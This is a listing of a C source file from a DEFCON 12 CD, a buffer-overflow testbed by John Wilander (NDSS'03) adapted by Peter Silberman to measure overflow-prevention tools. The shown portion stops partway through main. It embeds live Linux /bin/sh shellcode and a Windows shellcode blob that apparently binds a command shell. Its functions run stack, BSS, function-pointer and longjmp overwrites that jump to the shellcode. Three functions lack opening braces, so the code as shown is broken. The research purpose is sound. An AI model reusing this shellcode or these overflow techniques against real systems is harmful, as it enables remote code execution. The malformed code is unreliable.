home *** CD-ROM | disk | FTP | other *** search
/ DEFCON 12 / DEFCON_12_CD-ROM_2004.iso / Silberman-Johnson / avtp.c < prev   
C/C++ Source or Header  |  2004-07-09  |  30KB  |  889 lines

  1. // Testbed.cpp : Defines the entry point for the console application.
  2. //
  3.  
  4.  
  5. // Testbed.cpp : Defines the entry point for the console application.
  6. //
  7.  
  8. /*
  9.  * Dynamic testbed for twenty buffer overflow attack forms
  10.  *
  11.  * "A Comparison of Publicly Available Tools for Dynamic Buffer
  12.  * Overflow Prevention"
  13.  *
  14.  * Published at Network & Distributed System Security Symposium 2003
  15.  *
  16.  * Copyright 2003 John Wilander
  17.  * Dept. of Computer Science, Linkoping University, Sweden
  18.  * johwi@ida.liu.se
  19.  * http://www.ida.liu.se/~johwi
  20.  *
  21.  * This is a slightly old version of the code where the redirection of
  22.  * BSS pointers against parameters are missing (sorry). It should be
  23.  * fairly easy to add the code for overflow of pointers in the BSS
  24.  * segment, redirecting them towards either function pointer or longjmp
  25.  * buffer parameters. Just reuse the code from the same kind of attack
  26.  * against stack pointers.
  27.  *
  28.  * CONDITIONS OF USAGE: If you publish, distribute or sell work where
  29.  * you have used this testbed or parts of it to test, study, build or
  30.  * analyse software you should properly refer to our original paper
  31.  * from NDSS'03 and give acknowledgement to the writer of the testbed.
  32.  * This comment header must not be removed. Apart from these notes you
  33.  * can use it freely (the writer takes no responsibility of how you
  34.  * use it). Good luck! 
  35.  */
  36. /**************************************************************************************************
  37. *** Modified by Peter Silberman (psilberman@idefense.com) of iDefense for the                               ***
  38. *** use in a presentation at Blackhat and Defcon Vegas 04 presentation and paper are called            ***
  39. *** "A Comparison Buffer Overflow Prevention Implementations & Weaknesses"                                            ***
  40. *** Modifications made were to allow the program to compile on both Windows and Linux systems,    ***
  41. *** as well as to add specific windows environment scenerios.                                                                        ***
  42. ***************************************************************************************************/        
  43. //#define LINUX 
  44. #ifndef LINUX
  45.  
  46. #include <windows.h>
  47.  
  48. #endif
  49.  
  50. #include <stdio.h>
  51. #include <signal.h>
  52. #include <setjmp.h>
  53. #include <stdlib.h>
  54. #include <float.h>
  55. #include <math.h>
  56. #include <string.h>
  57.  
  58. #ifndef LINUX
  59.  
  60. void win32_heap_overflow(int choice);
  61. void win32_seh_overflow(int choice);
  62. void win32_ret_libc(int choice);
  63. void win32_build_exploit_retlibc();
  64.  
  65. #endif
  66.  
  67. #ifdef LINUX
  68.  
  69. #define BUFSIZE 16
  70. #define OVERFLOWSIZE 256
  71.  
  72. int base_pointer_offset;
  73. long overflow_buffer[OVERFLOWSIZE];
  74. char linux_sc[] =
  75. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  76. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  77. "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Implemented by Aleph One */
  78. #endif 
  79.  
  80. #ifndef LINUX
  81.  
  82. #define BUFSIZE 16
  83. #define OVERFLOWSIZE 256
  84. #define DEBUG 1
  85. int base_pointer_offset;
  86. long overflow_buffer[OVERFLOWSIZE];
  87.  
  88. unsigned char shellcode[] = "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c"
  89. "\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b\x40"
  90. "\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x03\xd5\x8b\x4a\x18"
  91. "\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84"
  92. "\xc0\x74\x07\xc1\xcf\x0d\x03\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03"
  93. "\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c\x61"
  94. "\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4\x08\x83\xc7\x04\x3b"
  95. "\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce"
  96. "\xd9\x09\xf5\xad\xa4\x1a\x70\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b"
  97. "\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8"
  98. "\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\x9d\xff"
  99. "\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51"
  100. "\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1"
  101. "\xf8\x08\x50\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff"
  102. "\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x33\xc0\x33"
  103. "\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff"
  104. "\x55\x18\x53\x56\xff\x55\x1c\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20"
  105. "\x8b\xf0\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44\xfe"
  106. "\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50"
  107. "\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff"
  108. "\x55\x10\xff\x77\x38\xff\x55\x28\xff\x55\x0c";
  109.  
  110. #endif
  111.  
  112.  
  113. int main(int argc, char **argv);
  114.  
  115. /*****************************************************************/
  116. /*              Stack-based buffer overflow attacks              */
  117. /*****************************************************************/
  118.  
  119. void parameter_func_pointer(int choice, void (*stack_function_pointer)()) 
  120. {
  121.   long *stack_pointer;
  122.   long stack_buffer[BUFSIZE];
  123.   char propolice_dummy[10];
  124.   int overflow;
  125.  
  126.   /* Just a dummy pointer setup */
  127.   stack_pointer = &stack_buffer[1];
  128.  
  129.   if ((choice == -4) && ((long)&choice > (long)&propolice_dummy)) 
  130.   {
  131.     /* First set up overflow_buffer with 'A's and a
  132.        new function pointer pointing to the shellcode */
  133.        
  134.        
  135.                         overflow = (int)((long)&stack_function_pointer - (long)&stack_buffer);
  136.                     memset(overflow_buffer, 'A', overflow);
  137.  
  138.  
  139. #ifndef LINUX
  140.  
  141.  
  142.                     overflow_buffer[overflow/4] = (long)&shellcode;
  143. #else
  144.  
  145.  
  146.                         overflow_buffer[overflow/4] = (long)&linux_sc;
  147. #endif
  148.  
  149.     /* Then overflow stack_buffer with overflow_buffer  */
  150.                     memcpy(stack_buffer, overflow_buffer, overflow+4);
  151.  
  152.     /* Function call using the function pointer */
  153.                     (void)(*stack_function_pointer)();
  154.   }
  155.   
  156.   
  157.   else if ((choice == -2) && ((long)&stack_pointer > (long)&propolice_dummy)) 
  158.   {
  159.     /* First set up overflow_buffer with the address of the
  160.        shellcode, a few 'A's and a pointer to the function pointer */
  161.        
  162.                     overflow = (int)((long)&stack_pointer - (long)&stack_buffer) + 4;
  163. #ifndef LINUX
  164.                     
  165.                     
  166.                     overflow_buffer[0] = (long)&shellcode;
  167. #else
  168.                     
  169.                     
  170.                     overflow_buffer[0] = (long)&linux_sc;
  171. #endif    
  172.                     memset(overflow_buffer+1, 'A', overflow-8);
  173.                     
  174.                     overflow_buffer[overflow/4-1] = (long)(&stack_function_pointer);
  175.  
  176.     /* Then overflow stack_buffer with overflow_buffer */
  177.                     memcpy(stack_buffer, overflow_buffer, overflow);
  178.  
  179.     /* Overwritten data from stack_buffer is copied to where
  180.        the stack_pointer is pointing */
  181.                     *stack_pointer = stack_buffer[0];
  182.  
  183.     /* Function call using the function pointer */
  184.                     (void)(*stack_function_pointer)();
  185.   }
  186.   return;
  187. }
  188.  
  189. void vuln_parameter_function_ptr(int choice) 
  190. {
  191.   void (*stack_function_pointer)(void);
  192.  
  193.   parameter_func_pointer(choice, stack_function_pointer);
  194.  
  195.   return;
  196. }
  197.  
  198. /*****************************************************************/
  199.  
  200. void parameter_longjmp_buf(int choice, jmp_buf stack_jmp_buffer) 
  201. {
  202. #ifdef LINUX
  203.   long *stack_pointer;
  204.   long stack_buffer[BUFSIZE];
  205.   char propolice_dummy[10];
  206.   int overflow, i;
  207.  
  208.  
  209.  
  210.   if ((choice == -3) && ((long)&stack_jmp_buffer[0].__jmpbuf[5] > (long)&propolice_dummy))
  211.   {
  212.  
  213.       
  214.       
  215.       /* First set up overflow_buffer with copies of address to
  216.        stack_jmp_buffer's argument pointer, and a fake jmp_buf
  217.        containing a new program counter pointing to the shellcode */
  218.  
  219.     overflow = (int)((long)&stack_jmp_buffer[0].__jmpbuf[5] - (long)&stack_buffer);
  220.  
  221.     for(i=0; i<overflow/4; i++)
  222.       overflow_buffer[i] = (long)stack_jmp_buffer;
  223.  
  224.  
  225.     for (i=0; i<5; i++)
  226.           overflow_buffer[overflow/4-5+i] = (long)stack_jmp_buffer[0].__jmpbuf[i];
  227.     
  228.     overflow_buffer[overflow/4] = (long)&linux_sc;
  229.  
  230.   
  231.  
  232.     /* Then overflow stack_buffer with overflow_buffer  */
  233.     memcpy(stack_buffer, overflow_buffer, overflow+4);
  234.   }
  235.  
  236.   else if ((choice == -1) &&
  237.            ((long)&stack_pointer > (long)&propolice_dummy)) {
  238.     /* First set up overflow_buffer with the address of the
  239.        shellcode, a few 'A's and a pointer to the program
  240.        counter in stack_jmp_buffer*/
  241.     overflow = (int)((long)&stack_pointer - (long)&stack_buffer) + 4;
  242.  
  243.     overflow_buffer[0] = (long)&linux_sc;
  244.     memset(overflow_buffer+1, 'A', overflow-8);
  245.     overflow_buffer[overflow/4-1] = (long)&stack_jmp_buffer[0].__jmpbuf[5];
  246.  
  247.     /* Then overflow stack_buffer with overflow_buffer */
  248.     memcpy(stack_buffer, overflow_buffer, overflow);
  249.  
  250.     /* Overwritten data from stack_buffer is copied to where
  251.        the stack_pointer is pointing */
  252.     *stack_pointer = stack_buffer[0];
  253.   }
  254.  
  255.   else printf("Attack form not possible\n");
  256.   longjmp(stack_jmp_buffer, 1);
  257. #else
  258.     printf("%d Is not a windows enabled feature\n", choice);
  259. #endif
  260. }
  261.  
  262.  
  263. void vuln_parameter_longjmp_buf(int choice) {
  264.  
  265. jmp_buf stack_jmp_buffer;
  266.  
  267.  
  268. int retval = setjmp(stack_jmp_buffer);
  269.   if(retval != 0)
  270.   {
  271.     printf("Longjmp buffer attack failed.\n");
  272.     return; }
  273.  
  274.   parameter_longjmp_buf(choice, stack_jmp_buffer);
  275.   return;
  276. }
  277.  
  278. /*****************************************************************/
  279.  
  280. void vuln_stack_return_addr(int choice) { /* Attack forms 1(a) and 3(a) */
  281.   long *stack_pointer;
  282.   long stack_buffer[BUFSIZE];
  283.   char propolice_dummy[10];
  284.   int overflow;
  285.  
  286.   /* Just a dummy pointer setup */
  287.   stack_pointer = &stack_buffer[1];
  288.  
  289.   if ((choice == 1) && ((long)&choice > (long)&propolice_dummy)) {
  290.     /* First set up overflow_buffer with 'A's and a new return address */
  291.     overflow = (int)((long)&choice - (long)&stack_buffer);
  292.     memset(overflow_buffer, 'A', overflow-4);
  293. #ifndef LINUX
  294.     overflow_buffer[overflow/4-1] = (long)&shellcode;
  295. #else
  296.     overflow_buffer[overflow/4-1] = (long)&linux_sc;
  297. #endif
  298.  
  299.     /* Then overflow stack_buffer with overflow_buffer */
  300.     memcpy(stack_buffer, overflow_buffer, overflow); }
  301.  
  302.   else if((choice == 16) && ((long)&choice > (long)&propolice_dummy))
  303.   {
  304.      /* First set up overflow_buffer with 'A's and a new return address */
  305.     overflow = (int)((long)&choice - (long)&stack_buffer);
  306.     memset(overflow_buffer, 'A', overflow-4);
  307. #ifndef LINUX    
  308.     overflow_buffer[overflow/4-1] = (long)&shellcode;
  309. #else
  310.     overflow_buffer[overflow/4-1] = (long)&linux_sc;
  311. #endif
  312.     /* Then overflow stack_buffer with overflow_buffer */
  313.     memcpy(stack_buffer, overflow_buffer, overflow); 
  314.   }
  315.  
  316.   else if ((choice == 7) &&
  317.            ((long)&stack_pointer > (long)&propolice_dummy)) {
  318.     /* First set up overflow_buffer with the address of the
  319.        shellcode, a few 'A's and a pointer to the return address */
  320.     overflow = (int)((long)&stack_pointer - (long)&stack_buffer) + 4;
  321. #ifndef LINUX
  322.     overflow_buffer[0] = (long)&shellcode;
  323. #else
  324.     overflow_buffer[0] = (long)&linux_sc;
  325. #endif
  326.  
  327.     memset(overflow_buffer+1, 'A', overflow-8);
  328.     overflow_buffer[overflow/4-1] = (long)(&choice-1);
  329.  
  330.     /* Then overflow stack_buffer with overflow_buffer */
  331.     memcpy(stack_buffer, overflow_buffer, overflow);
  332.  
  333.     /* Overwritten data from stack_buffer is copied to where
  334.        the stack_pointer is pointing */
  335.     *stack_pointer = stack_buffer[0];
  336.   }
  337.   else printf("Attack form not possible\n");
  338.   return;
  339. }
  340.  
  341. /*****************************************************************/
  342.  
  343. void vuln_stack_base_ptr(int choice) 
  344. {
  345.      /* Attack forms 1(b) and 3(b) */
  346. #ifdef LINUX  
  347.   long *stack_pointer;
  348.   long stack_buffer[BUFSIZE];
  349.   char propolice_dummy[10];
  350.   int overflow;
  351.  
  352.   /* Just a dummy pointer setup */
  353.   stack_pointer = &stack_buffer[1];
  354.  
  355.   if ((choice == 2) && ((long)&choice > (long)&propolice_dummy)) 
  356.   {
  357.     /* First set up overflow_buffer with a fake stack frame
  358.        consisting of a base pointer and a return address
  359.        pointing to the shellcode, a few 'A's and a new 
  360.        base pointer pointing back at the fake stack frame */
  361.             overflow = (int)((long)&choice - (long)&stack_buffer)-base_pointer_offset;
  362.     /* Copy base pointer */
  363.             overflow_buffer[0] = (long)(&choice-1-(base_pointer_offset/4));
  364.     /* Fake return address */
  365.  
  366.          overflow_buffer[1] = (long)&linux_sc;
  367.  
  368.                 memset(overflow_buffer+2, 'A', overflow-4);
  369.             overflow_buffer[overflow/4-1] = (long)&stack_buffer[0];
  370.  
  371.     /* Then overflow stack_buffer with overflow_buffer */
  372.             memcpy(stack_buffer, overflow_buffer, overflow);
  373.   }
  374.  
  375.   else if ((choice == 8) && ((long)&stack_pointer > (long)&propolice_dummy)) {
  376.     /* First set up overflow_buffer with a fake stack frame
  377.        consisting of a base pointer and a return address
  378.        pointing to the shellcode, a few 'A's and a pointer
  379.        to the old base pointer */
  380.     overflow = (int)((long)&stack_pointer - (long)&stack_buffer) + 4;
  381.     overflow_buffer[0] = (long)&stack_buffer[1];
  382.     /* Copy base pointer */
  383.     overflow_buffer[1] = (long)(&choice-1-(base_pointer_offset/4));
  384.     /* Fake return address */
  385.  
  386.     overflow_buffer[2] = (long)&linux_sc;
  387.  
  388.  
  389.     memset(overflow_buffer+3, 'A', overflow-4*(3+1));
  390.     /* Old base pointer */
  391.     overflow_buffer[overflow/4-1] = (long)(&choice-1-(base_pointer_offset/4));
  392.  
  393.     /* Then overflow stack_buffer with overflow_buffer  */
  394.     /* Now stack_pointer points to the old base pointer */
  395.     memcpy(stack_buffer, overflow_buffer, overflow);
  396.  
  397.     /* Overwritten data from stack_buffer is copied to where
  398.        the stack_pointer is pointing */
  399.     *stack_pointer = stack_buffer[0];
  400.   }
  401.   else printf("Attack form not possible\n");
  402.   return;
  403. #else
  404.     printf("%d Is not a windows enabled feature\n", choice);
  405. #endif
  406. }
  407.  
  408. /*****************************************************************/
  409.  
  410. void vuln_stack_function_ptr(int choice) { /* Attack forms 1(c) and 3(c) */
  411.   void (*stack_function_pointer)(void);
  412.   long *stack_pointer;
  413.   long stack_buffer[BUFSIZE];
  414.   char propolice_dummy[10];
  415.   int overflow;
  416.  
  417.   if ((choice == 3) && ((long)&stack_function_pointer > (long)&propolice_dummy)) 
  418.   {
  419.     /* First set up overflow_buffer with 'A's and a
  420.        new function pointer pointing to the shellcode */
  421. #ifdef LINUX          
  422.  
  423.  
  424.               overflow = (int)((long)&stack_function_pointer - (long)&stack_buffer);
  425. #else
  426.  
  427.  
  428.                 overflow = (int)((long)&stack_buffer - (long)&stack_function_pointer);
  429. #endif
  430.  
  431.  
  432.             memset(overflow_buffer, 'A', overflow );
  433.             
  434. #ifndef LINUX
  435.             
  436.             //overflow_buffer[overflow+12] = (long)&shellcode;
  437.             //Nulls makes this unreliable
  438. #else
  439.                 overflow_buffer[overflow/4] = (long)&linux_sc;
  440. #endif
  441.  
  442.  
  443. #ifdef LINUX    
  444.     /* Then overflow stack_buffer with overflow_buffer  */
  445.             memcpy(stack_buffer, overflow_buffer, overflow+4);
  446. #else
  447.         /* Then overflow stack_buffer with overflow_buffer  */
  448.             memcpy(propolice_dummy, overflow_buffer, overflow+4);//The null address messes with this so we have to cheat
  449.             *(long*)&stack_function_pointer = (long)&shellcode;
  450. #endif
  451.     /* Function call using the function pointer */
  452.             (void)(*stack_function_pointer)();
  453.   }
  454.  
  455.   else if ((choice == 9) && ((long)&stack_pointer > (long)&propolice_dummy)) 
  456.   {
  457.     /* First set up overflow_buffer with the address of the
  458.        shellcode, a few 'A's and a pointer to the function pointer */
  459.             overflow = (int)((long)&stack_pointer - (long)&stack_buffer) + 4;
  460. #ifndef LINUX
  461.     
  462.     
  463.             overflow_buffer[0] = (long)&shellcode;
  464. #else
  465.                 
  466.                 
  467.                 overflow_buffer[0] = (long)&linux_sc;
  468. #endif
  469.             
  470.                 memset(overflow_buffer+1, 'A', overflow-8);
  471.         
  472.             overflow_buffer[overflow/4-1] = (long)(&stack_function_pointer);
  473.  
  474.     /* Then overflow stack_buffer with overflow_buffer */
  475.             memcpy(stack_buffer, overflow_buffer, overflow);
  476.  
  477.     /* Overwritten data from stack_buffer is copied to where
  478.        the stack_pointer is pointing */
  479.             *stack_pointer = stack_buffer[0];
  480.  
  481.     /* Function call using the function pointer */
  482.             (void)(*stack_function_pointer)();
  483.   }
  484.   else 
  485.       printf("Attack form not possible\n");
  486.   
  487.   return;
  488. }
  489.  
  490. /*****************************************************************/
  491.  
  492. void vuln_stack_longjmp_buf(int choice) 
  493. { /* Attack forms 1(d) and 3(d) */
  494. #ifdef LINUX  
  495.   jmp_buf stack_jmp_buffer;
  496.   long *stack_pointer;
  497.   long stack_buffer[BUFSIZE];
  498.   char propolice_dummy[10];
  499.   int overflow, i;
  500.  
  501.   if (setjmp(stack_jmp_buffer) != 0) {
  502.     printf("Longjmp buffer attack failed.\n");
  503.     return; }
  504.  
  505.   if ((choice == 4) && ((long)&stack_jmp_buffer[0].__jmpbuf[5] > (long)&propolice_dummy)) 
  506.  
  507.   {
  508.     /* First set up overflow_buffer with 'A's and a fake jmp_buf
  509.        containing a new program counter pointing to the shellcode */
  510.     overflow = (int)((long)&stack_jmp_buffer[0].__jmpbuf[5] - (long)&stack_buffer);
  511.  
  512.     memset(overflow_buffer, 'A', overflow-5*4);
  513.     /* Copy BX, SI, DI, BP and SP from stack_jmp_buffer */
  514.     overflow_buffer[overflow/4-1] = (long)&stack_jmp_buffer[0].__jmpbuf[5];
  515.     overflow_buffer[overflow/4] = (long)&linux_sc;
  516.  
  517.     /* Then overflow stack_buffer with overflow_buffer  */
  518.     memcpy(stack_buffer, overflow_buffer, overflow+4);
  519.   }
  520.  
  521.   else if ((choice == 10) && ((long)&stack_pointer > (long)&propolice_dummy)) {
  522.     /* First set up overflow_buffer with the address of the
  523.        shellcode, a few 'A's and a pointer to the program
  524.        counter in stack_jmp_buffer*/
  525.     overflow = (int)((long)&stack_pointer - (long)&stack_buffer) + 4;
  526.  
  527.         overflow_buffer[0] = (long)&linux_sc;
  528.  
  529.     memset(overflow_buffer+1, 'A', overflow-8);
  530.  
  531.     overflow_buffer[overflow/4-1] = (long)&stack_jmp_buffer[0].__jmpbuf[5];
  532.  
  533.     /* Then overflow stack_buffer with overflow_buffer */
  534.     memcpy(stack_buffer, overflow_buffer, overflow);
  535.  
  536.     /* Overwritten data from stack_buffer is copied to where
  537.        the stack_pointer is pointing */
  538.     *stack_pointer = stack_buffer[0];
  539.   }
  540.  
  541.   else printf("Attack form not possible\n");
  542.   longjmp(stack_jmp_buffer, 1);
  543. #else
  544.     printf("%d Is not a windows enabled feature\n", choice);
  545. #endif
  546. }
  547.  
  548. /*****************************************************************/
  549. /*               BSS-based buffer overflow attacks               */
  550. /*****************************************************************/
  551.  
  552. void vuln_bss_return_addr(int choice) 
  553. { /* Attack form 4(a)*/
  554. #ifdef LINUX
  555.   static char propolice_dummy_2[10];
  556.   static long bss_buffer[BUFSIZE];
  557.   static long *bss_pointer;
  558.   char propolice_dummy_1[10];
  559.   int overflow;
  560.  
  561. if ((choice == 11) && ((long)&bss_pointer > (long)&propolice_dummy_2)) {
  562.     /* First set up overflow_buffer with the address of the
  563.        shellcode, a few 'A's and a pointer to the return address */
  564.     overflow = (int)((long)&bss_pointer - (long)&bss_buffer) + 4;
  565.  
  566.     overflow_buffer[0] = (long)&linux_sc;
  567.  
  568.  
  569.     memset(overflow_buffer+1, 'A', overflow-8);
  570.     overflow_buffer[overflow/4-1] = (long)(&choice-1);
  571.  
  572.     /* Then overflow bss_buffer with overflow_buffer */
  573.     memcpy(bss_buffer, overflow_buffer, overflow);
  574.  
  575.     /* Overwritten data from bss_buffer is copied to where
  576.        the bss_pointer is pointing */
  577.     *bss_pointer = bss_buffer[0];
  578.   }
  579.   else printf("Attack form not possible\n");
  580.   return;
  581. #else
  582.     printf("%d Is not a windows enabled feature\n", choice);
  583. #endif
  584. }
  585.  
  586. /*****************************************************************/
  587.  
  588. void vuln_bss_base_ptr(int choice) 
  589. #ifdef LINUX
  590.     /* Attack form 4(b)*/
  591.   static char propolice_dummy_2[10];
  592.   static long bss_buffer[BUFSIZE];
  593.   static long *bss_pointer;
  594.   char propolice_dummy_1[10];
  595.   int overflow;
  596.  
  597.   if ((choice == 12) && ((long)&bss_pointer > (long)&propolice_dummy_2)) 
  598.   {
  599.     /* First set up overflow_buffer with a fake stack frame
  600.        consisting of a base pointer and a return address
  601.        pointing to the shellcode, a few 'A's and a pointer
  602.        to the old base pointer */
  603.     overflow = (int)((long)&bss_pointer - (long)&bss_buffer) + 4;
  604.     overflow_buffer[0] = (long)&bss_buffer[1];
  605.     /* Copy base pointer */
  606.     overflow_buffer[1] = (long)(&choice-1-(base_pointer_offset/4));
  607.     /* Fake return address */
  608.  
  609.         overflow_buffer[2] = (long)&linux_sc;
  610.  
  611.  
  612.     memset(overflow_buffer+3, 'A', overflow-4*(3+1));
  613.     /* Old base pointer */
  614.     overflow_buffer[overflow/4-1] = (long)(&choice-1-(base_pointer_offset/4));
  615.  
  616.     /* Then overflow bss_buffer with overflow_buffer  */
  617.     /* Now bss_pointer points to the old base pointer */
  618.     memcpy(bss_buffer, overflow_buffer, overflow);
  619.  
  620.     /* Overwritten data from bss_buffer is copied to where
  621.        the bss_pointer is pointing */
  622.     *bss_pointer = bss_buffer[0];
  623.   }
  624.   else printf("Attack form not possible\n");
  625.   return;
  626. #else
  627.     printf("%d Is not a windows enabled feature\n", choice);
  628. #endif
  629. }
  630.  
  631. /*****************************************************************/
  632.  
  633. void vuln_bss_function_ptr(int choice) 
  634. #ifdef LINUX
  635.     /* Attack forms 2(a) and 4(c) */
  636.   static char propolice_dummy_2[10];
  637.   static long bss_buffer[BUFSIZE];
  638.   static long *bss_pointer;
  639.   static void (*bss_function_pointer)(void);
  640.   char propolice_dummy_1[10];
  641.   int overflow;
  642. printf("bss_pointer(%p), propolice_dummy_2(%p)",bss_pointer,propolice_dummy_2);
  643.  
  644.   if ((choice == 5) && ((long)&bss_function_pointer > (long)&propolice_dummy_2)) 
  645.   {
  646.     /* First set up overflow_buffer with 'A's and a
  647.        new function pointer pointing to the shellcode */
  648.     overflow = (int)((long)&bss_function_pointer - (long)&bss_buffer);
  649.     memset(overflow_buffer, 'A', overflow);
  650.  
  651.  
  652.     overflow_buffer[overflow/4] = (long)&linux_sc;
  653.  
  654.  
  655.     /* Then overflow bss_buffer with overflow_buffer  */
  656.     memcpy(bss_buffer, overflow_buffer, overflow+4);
  657.  
  658.     /* Function call using the function pointer */
  659.     (void)(*bss_function_pointer)();
  660.   }
  661.   else if ((choice == 13) &&
  662.            ((long)&bss_pointer > (long)&propolice_dummy_2)) {
  663.     /* First set up overflow_buffer with the address of the
  664.        shellcode, a few 'A's and a pointer to the function pointer */
  665.     overflow = (int)((long)&bss_pointer - (long)&bss_buffer) + 4;
  666.  
  667.         overflow_buffer[0] = (long)&linux_sc;
  668.  
  669.     memset(overflow_buffer+1, 'A', overflow-8);
  670.     overflow_buffer[overflow/4-1] = (long)(&bss_function_pointer);
  671.  
  672.     /* Then overflow bss_buffer with overflow_buffer */
  673.     memcpy(bss_buffer, overflow_buffer, overflow);
  674.  
  675.     /* Overwritten data from bss_buffer is copied to where
  676.        the bss_pointer is pointing */
  677.     *bss_pointer = bss_buffer[0];
  678.  
  679.     /* Function call using the function pointer */
  680.     (void)(*bss_function_pointer)();
  681.   }
  682.   else printf("Attack form not possible\n");
  683.   return;
  684. #else
  685.     printf("%d Is not a windows enabled feature\n", choice);
  686. #endif
  687. }
  688.  
  689. /*****************************************************************/
  690.  
  691. void vuln_bss_longjmp_buf(int choice) 
  692. #ifdef LINUX
  693.     /* Attack forms 2(b) and 4(d) */
  694.   static char propolice_dummy_2[10];
  695.   static long bss_buffer[BUFSIZE];
  696.   static long *bss_pointer;
  697.   static jmp_buf bss_jmp_buffer;
  698.   char propolice_dummy_1[10];
  699.   int overflow, i;
  700.  
  701.   if (setjmp(bss_jmp_buffer) != 0) {
  702.     printf("Longjmp buffer attack failed.\n");
  703.     return; }
  704.  
  705.   if ((choice == 6) &&
  706.       ((long)&bss_jmp_buffer[0].__jmpbuf[5] > (long)&propolice_dummy_2)) {
  707.     /* First set up overflow_buffer with 'A's and a fake jmp_buf
  708.        containing a new program counter pointing to the shellcode */
  709.     overflow = (int)((long)&bss_jmp_buffer[0].__jmpbuf[5]
  710.              - (long)&bss_buffer);
  711.     memset(overflow_buffer, 'A', overflow-5*4);
  712.     /* Copy BX, SI, DI, BP and SP from bss_jmp_buffer */
  713.     for (i=0; i<5; i++)
  714.       overflow_buffer[overflow/4-5+i] = (long)bss_jmp_buffer[0].__jmpbuf[i];
  715.     overflow_buffer[overflow/4] = (long)&linux_sc;
  716.  
  717.     /* Then overflow bss_buffer with overflow_buffer  */
  718.     memcpy(bss_buffer, overflow_buffer, overflow+4);
  719.   }
  720.  
  721.   else if ((choice == 14) &&
  722.        ((long)&bss_pointer > (long)&propolice_dummy_2)) {
  723.     /* First set up overflow_buffer with the address of the
  724.        shellcode, a few 'A's and a pointer to the program
  725.        counter in bss_jmp_buffer*/
  726.     overflow = (int)((long)&bss_pointer - (long)&bss_buffer) + 4;
  727.     overflow_buffer[0] = (long)&linux_sc;
  728.     memset(overflow_buffer+1, 'A', overflow-8);
  729.     overflow_buffer[overflow/4-1] = (long)&bss_jmp_buffer[0].__jmpbuf[5];
  730.  
  731.     /* Then overflow bss_buffer with overflow_buffer */
  732.     memcpy(bss_buffer, overflow_buffer, overflow);
  733.  
  734.     /* Overwritten data from bss_buffer is copied to where
  735.        the bss_pointer is pointing */
  736.     *bss_pointer = bss_buffer[0];
  737.   }
  738.   else printf("Attack form not possible\n");
  739.   longjmp(bss_jmp_buffer, 1);
  740. #else
  741.     printf("%d Is not a windows enabled feature\n", choice);
  742. #endif
  743. }
  744.  
  745. /*****************************************************************/
  746. /*                          main()                               */
  747. /*****************************************************************/
  748.  
  749. int main (int argc, char **argv) {
  750.   int choice;
  751.   if (argc < 2 || atoi(argv[1]) < -4 || atoi(argv[1]) > 19) {
  752.     fprintf(stderr, "\nUsage: %s <int> <optional base pointer offset>\n",
  753.             argv[0]);
  754.     fprintf(stderr, "\nBuffer overflow on stack all the way to the target\n");
  755.     fprintf(stderr, "-4 =  Target: Parameter function pointer\n");
  756.     fprintf(stderr, "-3 =  Target: Parameter longjmp buffer (Not Supported by Win32)\n");
  757.     fprintf(stderr, " 1 =  Target: Return address\n");
  758.     fprintf(stderr, " 2 =  Target: Old base pointer (Not Supported by Win32)\n");
  759.     fprintf(stderr, " 3 =  Target: Function pointer\n");
  760.     fprintf(stderr, " 4 =  Target: Longjmp buffer   (Not Supported by Win32)\n");
  761.     fprintf(stderr, "\nBuffer overflow on heap/BSS all the way to the target\n");
  762.     fprintf(stderr, " 5 =  Target: Function pointer\n");
  763.     fprintf(stderr, " 6 =  Target: Longjmp buffer (Not Supported by Win32)\n");
  764.     fprintf(stderr, "\nBuffer overflow of pointer on stack and then pointing to target\n");
  765.     fprintf(stderr, "-2 =  Target: Parameter function pointer\n");
  766.     fprintf(stderr, "-1 =  Target: Parameter longjmp buffer (Not Supported by Win32)\n");
  767.     fprintf(stderr, " 7 =  Target: Return address\n");
  768.     fprintf(stderr, " 8 =  Target: Old base pointer (Not Supported by Win32)\n");
  769.     fprintf(stderr, " 9 =  Target: Function pointer\n");
  770.     fprintf(stderr, "10 = Target: Longjmp buffer (Not Supported by Win32)\n");
